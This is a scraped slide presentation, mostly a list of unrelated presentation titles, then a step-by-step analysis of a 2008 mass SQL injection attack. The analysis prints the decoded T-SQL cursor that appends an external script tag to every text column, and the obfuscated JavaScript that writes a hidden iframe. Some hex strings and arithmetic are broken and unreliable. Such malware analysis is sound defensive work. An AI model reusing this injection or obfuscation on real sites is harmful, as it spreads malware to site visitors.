SQL Injection Attack Overview. Step by step analysis of a SQL Injection attack Code Obfuscation a Definition IIS Log Entry Decoding the HEX Part 1 SQL.

Slides:



Advertisements
Similar presentations
JQuery MessageBoard. Lets use jQuery and AJAX in combination with a database to update and retrieve information without refreshing the page. Here we will.
Advertisements

HTML Forms. collect information for passing to server- side processes built up from standard widgets –text-input, radio buttons, check boxes, option lists,
Tutorial 6 Creating a Web Form
The Assembly Language Level
©2009 Justin C. Klein Keane PHP Code Auditing Session 5 XSS & XSRF Justin C. Klein Keane
The Web Warrior Guide to Web Design Technologies
HTML IFRAMES, COLORS, ENTITIES, URL. HTML IFRAMES An iframe is used to display a web page within a web page. Apep Kamaludin, MT. |
Let’s try Oracle. Accessing Oracle The Oracle system, like the SQL Server system, is client / server. For SQL Server, –the client is the Query Analyser.
Copyright © 2011 Pearson Education, Inc. Publishing as Pearson Addison-Wesley Chapter 13 Introduction to SQL Programming Techniques.
Copyright © 2011 Pearson Education, Inc. Publishing as Pearson Addison-Wesley Chapter 14 Web Database Programming Using PHP.
1 Chapter 12 Working With Access 2000 on the Internet.
B.Sc. Multimedia ComputingMedia Technologies Database Technologies.
Chapter 7 Managing Data Sources. ASP.NET 2.0, Third Edition2.
1 Nassau Community CollegeProf. Vincent Costa Acknowledgements: Introduction to Database Management, All Rights ReservedIntroduction to Database Management.
Copyright © 2007 Ramez Elmasri and Shamkant B. Navathe Slide
Module 2: Using Transact-SQL Querying Tools. Overview SQL Query Analyzer Using the Object Browser Tool in SQL Query Analyzer Using Templates in SQL Query.
Chapter 9 Collecting Data with Forms. A form on a web page consists of form objects such as text boxes or radio buttons into which users type information.
Web forms in PHP Forms Recap  Way of allowing user interaction  Allows users to input data that can then be processed by a program / stored in a back-end.
1 Chapter 6 – Creating Web Forms and Validating User Input spring into PHP 5 by Steven Holzner Slides were developed by Jack Davis College of Information.
CSCI 6962: Server-side Design and Programming Course Introduction and Overview.
MySQL in PHP – Page 1 of 17CSCI 2910 – Client/Server-Side Programming CSCI 2910 Client/Server-Side Programming Topic: MySQL in PHP Reading: Williams &
INTERNET APPLICATION DEVELOPMENT For More visit:
Tutorial 14 Working with Forms and Regular Expressions.
Server-side Scripting Powering the webs favourite services.
Hamdi Yesilyurt, MA Student in MSDF & PhD-Public Affaris SQL Riji Jacob MS Student in Computer Science.
Lecture 14 – Web Security SFDV3011 – Advanced Web Development 1.
Copyright © 2003 Pearson Education, Inc. Slide 8-1 The Web Wizard’s Guide to PHP by David Lash.
Web Application Access to Databases. Logistics Test 2: May 1 st (24 hours) Extra office hours: Friday 2:30 – 4:00 pm Tuesday May 5 th – you can review.
1 PHP and MySQL. 2 Topics  Querying Data with PHP  User-Driven Querying  Writing Data with PHP and MySQL PHP and MySQL.
NMED 3850 A Advanced Online Design January 26, 2010 V. Mahadevan.
CNIT 133 Interactive Web Pags – JavaScript and AJAX JavaScript Environment.
FUNCTIONS AND STORED PROCEDURES & FUNCTIONS AND PROTECTING A DB AND PHP (Chapters 9, 15, 18)
Dinamic SQL & Cursor. Why Dinamic SQL ? Sometimes there is a need to dynamically create a SQL statement on the fly and then run that command. This can.
Lecture # 6 Forms, Widgets and Event Handling. Today Questions: From notes/reading/life? Share Personal Web Page (if not too personal) 1.Introduce: How.
Chapter 8 Cookies And Security JavaScript, Third Edition.
15/10/20151 PHP & MySQL 'Slide materials are based on W3Schools PHP tutorial, 'PHP website 'MySQL website.
Extending HTML CPSC 120 Principles of Computer Science April 9, 2012.
Web Application Security ECE ECE Internetwork Security What is a Web Application? An application generally comprised of a collection of scripts.
Database control Introduction. The Database control is a tool that used by the database administrator to control the database. To enter to Database control.
Sumanth M Ganesh B CPSC 620.  SQL Injection attacks allow a malicious individual to execute arbitrary SQL code on your server  The attack could involve.
Java server pages. A JSP file basically contains HTML, but with embedded JSP tags with snippets of Java code inside them. A JSP file basically contains.
Chapter 2: Variables, Functions, Objects, and Events JavaScript - Introductory.
SQL for SQL Server, C13© 2002, Mike Murach & Associates, Inc. Slide 1.
Dr Gordon Russell, Napier University Unit Embedde SQL - V2.0 1 Embedded SQL Unit 5.1.
Creating a simple database This shows you how to set up a database using PHPMyAdmin (installed with WAMP)
8 Chapter Eight Server-side Scripts. 8 Chapter Objectives Create dynamic Web pages that retrieve and display database data using Active Server Pages Process.
Spiderman ©Marvel Comics Creating Web Pages (part 1)
Module: Software Engineering of Web Applications Chapter 3 (Cont.): user-input-validation testing of web applications 1.
Starting with Oracle SQL Plus. Today in the lab… Connect to SQL Plus – your schema. Set up two tables. Find the tables in the catalog. Insert four rows.
Copyright © 2011 Pearson Education, Inc. Publishing as Pearson Addison-Wesley Chapter 14 Web Database Programming Using PHP.
Text TCS INTERNAL Oracle PL/SQL – Introduction. TCS INTERNAL PL SQL Introduction PLSQL means Procedural Language extension of SQL. PLSQL is a database.
©2008 Gotham Digital Science SQL Injection Worms for Fun & Profit Justin Clarke, Andrew Carey Nairn.
Dr. Abdullah Almutairi Spring PHP is a server scripting language, and a powerful tool for making dynamic and interactive Web pages. PHP is a widely-used,
Web Design Terminology Unit 2 STEM. 1. Accessibility – a web page or site that address the users limitations or disabilities 2. Active server page (ASP)
Tutorial 6 Creating a Web Form
ADVANCED SQL.  The SQL ORDER BY Keyword  The ORDER BY keyword is used to sort the result-set by one or more columns.  The ORDER BY keyword sorts the.
By Collin Donaldson. Hacking is only legal under the following circumstances: 1.You hack (penetration test) a device/network you own. 2.You gain explicit,
PHP: Further Skills 02 By Trevor Adams. Topics covered Persistence What is it? Why do we need it? Basic Persistence Hidden form fields Query strings Cookies.
Copyright © 2016 Ramez Elmasri and Shamkant B. Navathe.
Web Database Programming Using PHP
Creating Database Objects
CSCE 548 Student Presentation Ryan Labrador
Web Database Programming Using PHP
Cascading Style Sheets
Chapter 19 PHP Part III Credits: Parts of the slides are based on slides created by textbook authors, P.J. Deitel and H. M. Deitel by Prentice Hall ©
Arrays and files BIS1523 – Lecture 15.
Un</br>able’s MySecretSecrets
Web DB Programming: PHP
Creating Database Objects
Presentation transcript:

SQL Injection Attack Overview

Step by step analysis of a SQL Injection attack Code Obfuscation a Definition IIS Log Entry Decoding the HEX Part 1 SQL Injection Code Decoding the HEX Part 2 Injected Code Where is this coming from?

Code Obfuscation a Definition “Obfuscated code is source or machine code that has been made difficult to understand. Programmers may deliberately obfuscate code to conceal its purpose (a form of security through obscurity), to deter reverse engineering, or as a puzzle or recreational challenge for readers. Programs known as obfuscators transform human-readable code into obfuscated code using various techniques.” -Wikipedia

IIS Log Entry \\web101\Logs$\IIS\W3SVC1\u_ex log: :41:23 W3SVC1 WEB GET /client/file.asp adid=24&category=Texas C C C655F F F F C E6E616D652C622E6E6 16D F4D F626A C F6C554D6E E49643D622E E E D E E D F E D F E D F E D F70456E C455F F E F6D C655F F E546F C C F D E B272B40542B 275D B272B40432B275D3D D28434F6E C5B272B40432B275D29292B E F4D C455F F E744F C E C4F C45 5F F C6C4F C655F F5220%20aS%20varcH HTTP/1.1 Mozilla/4.0+(compatible;+MSIE+7.0;+Windows+NT+5.1;+.NET+CLR ) This is the IIS log that is generated during the attack. In the next slide we remove the URL encoding and make the information highlighted in yellow more readable.

IIS Log Entry - Removing URL Encoding /client/file.asp adid=24&category=Texas 03-04/08; VaRcHAr(4000); 0x C C C C655F F F F C E6E616D652C622E6E616D F4D F626A C F6C 554D6E E49643D622E E E D E E D F E D F E D F E D F70456E C455F F E F6D C655F F E546F C C F D E B272B40542B275D B272B40432B275D3D D28434F6E C5B272B40432B275D29292B E F4D C455F F E744F C E C4F C455F F C6C4F C655F F5220 aS varcHAr(4000)); CAST: Translates the HEX expression into a character string EXEC: Executes this string After removing the URL encoding and adding some line feeds we have the following code. The cast statement converts the log HEX string into a Variable Character Field (varchar). Next the EXEC command executes this decoded string.

Decoding the HEX part 1 0x C … 0x44 = 68 = D 0x45 = 69 = E 0x43 = 67 = C 0x6C = 108 = l 0x41 = 65 = A 0x72 = 114 = r 0x45 = 69 = E 0x20 = 32 = 0x40 = 64 0x54 = 84 = T 0x20 = 32 = 0x56 = 86 = V 0x41 = 65 = A 0x52 = 82 = R 0x43 = 67 = C 0x48 = 72 = H 0x61 = 97 = a VaRChaR(255) dEclAre taBLe_cuRsoR CURSoR fOr SElECt A.name,b.name FroM sysobjECts a, sYsCOlUMns b where A.Id=b.id aNd A.XTyPE='u' aND (b.XtyPe=99 oR b.XTypE=35 or B.XtyPe=231 Or B.XtYpE=167) OpEn tABlE_CURsOr FEtcH Next From tAbLe_CUrsOR INTo Begin ExEc('UpdaTe SEt CAST(0X3C D A2F2F E6 2616E6E E72752F E6A733E3C2F E as vARCHAr(51))') FetcH NeXt FROM TAbLE_cUrsor iNtO EnD ClOse TAbLE_Cursor dEALlOcATE TABLe_CURsoR sysobjects: Contains one row for each object (constraint, default, log, rule, stored procedure, and so on) created within a database. syscolumns: Contains one row for every column in every table and view, and a row for each parameter in a stored procedure. This table is in each database. XType: U = User table 35 = text 99 = ntext 167 = varchar 231 = nvarchar Here we decode the HEX into its ASCII equivalent. Once we apply it to the entire string we have the full code. I’d like to point out that this code is somewhat dynamic in nature. You can see a variety of upper and lower case characters in the code. This causes the encoded HEX to vary significantly from attack to attack and is an attempt to avoid detection. The query in the begining of the code uses an interesting trick by using sysobject and syscolumns, special tables within SQL Server. The query selects all User defined tables and then limits it to columns with datatypes that can hold a string of characters. It then loops through all of these columns and appends a string to each row. This string is also encoded in HEX. We will look at this further in the next slide.

Decoding the HEX part 2 0x3C D A2F2F E626 16E6E E72752F E6A733E3C2F E Using the same method as before we very easily determine that the injected string is a script tag pointing to ads.js. I have also experienced changes to this URL from attack to attack. I have decoded about four different locations for ads.js as of this writing.

Injected Code – Java Script document['wri5te'.replace(/[0-9]/,'')](RfCEPXiV('imLQjGIUbV')+hesXRonvzA('yJodBRbANq')); write(RfCEPXiV('imLQjGIUbV')+hesXRonvzA('yJodBRbANq')); Since most of the code within ads.js is not utilized I’ll stick with what is. The first part is an interesting way of hiding the write command. They utilize the replace function to remove the 5 from within the string literal concealing it from detection. The two functions within the write statement are very similar so I will only explain one of them but I will indicate where their differences are.

Injected Code – Java Script function RfCEPXiV(KDZJF){ var Ffwx=6, TMplSKEfAW=4; var VhoWIRnEH='90+0,157+2,153+0,171+0,145+2,163+2,151+2,48+0,178+2,157+2, 150+0,174+0,156+0,91+2,73+2,48+0,156+0,151+2,157+2,154+2,156+0,174+0,91+2, 73+2,48+0,147+0,166+2,171+0,150+0,151+2,171+0,91+2,72+0,48+0,153+0,171+0, 145+2,163+2,151+2,147+0,166+2,171+0,150+0,151+2,171+0,91+2,72+0,48+0,172+2, 171+0,', QlnGAowZ=VhoWIRnEH.split(','); gHuP=''; for(THLfo=0;THLfo<QlnGAowZ.length-1;THLfo++) { MhbtCwq=QlnGAowZ[THLfo].split('+'); gAJys = parseInt(MhbtCwq[0]*TMplSKEfAW)+parseInt(MhbtCwq[1]); gAJys = parseInt(gAJys)/Ffwx; gHuP += String.fromCharCode(gAJys); } return gHuP;} Splits the string at the commas Splits the string at the plus 90*4 + 0 = *4 + 2 = *4 + 0 = *4 + 0 = *4 + 2 = 582 … 360/6 = /6 = /6 = /6 = /6 = 97 … 60 = < 105 = i 102 = f 114 = r 97 = a … <iframe width=1 height=1 border=0 frameborder=0 s The first part of this function sets up some variables. These variables are the only differences between the two functions. The first two are a decryption key and the last is the cipher text. The next step is for the code to set up an array based on the cipher text split on the commas. For example the first array element would be Next it loops through each of these elements and splits it once again however on the plus sign. It then performs the decryption mathematics and determines the resultant string.

Injected Code – php & css Index.php simulates an ‘Error Page Not Found’ however it has custom Java Script as well as a cascading style sheet which specifies background images. One of three conditions exist. This site has been identified as malicious and has been removed from the hosting provider The images specified in the CSS could be malicious in nature. They have not activated the malicious code and could do so at anytime. The results form both functions result in an iframe which loads index.php. At this point I stopped my investigation partly because the index.php file returned a Page Not Found error. As noted bellow there are three possible conditions at this point.

Where is this coming from? inetnum: netname: SEEDNET-NET descr: Digital United Inc. descr: 7F,220,gangchi road descr: Taipei Taiwan 114 country: TW admin-c: MC37-AP tech-c: MC37-AP status: ALLOCATED PORTABLE notify: mnt-by: MAINT-TW-TWNIC mnt-lower: MAINT-TW-TWNIC mnt-routes: MAINT-TW-TWNIC remarks: remarks: This object can only be updated by APNIC hostmasters. remarks: To update this object, please contact APNIC remarks: hostmasters and include your organisation's account remarks: name in the subject line. remarks: changed: source: APNIC By performing a WhoIs on the source address identified in the IIS logs we can determine that this particular attack originated from Taiwan. IP addresses for other attacks varied in origin however so far all have originated from Asia. After some communications with the Internet Storm Center I was provided with a link to a diary entry for April 16, 2008 (click here to see it). The handlers at the ISC actually have the code (apparently written in Chinese) that utilizes Google to identify sites that are vulnerable to this attack. The program performs a Google search for a string that would indicate a vulnerable site and then executes the attack against them.

SQL Injection Attack Overview Thank you for watching Fred Stuck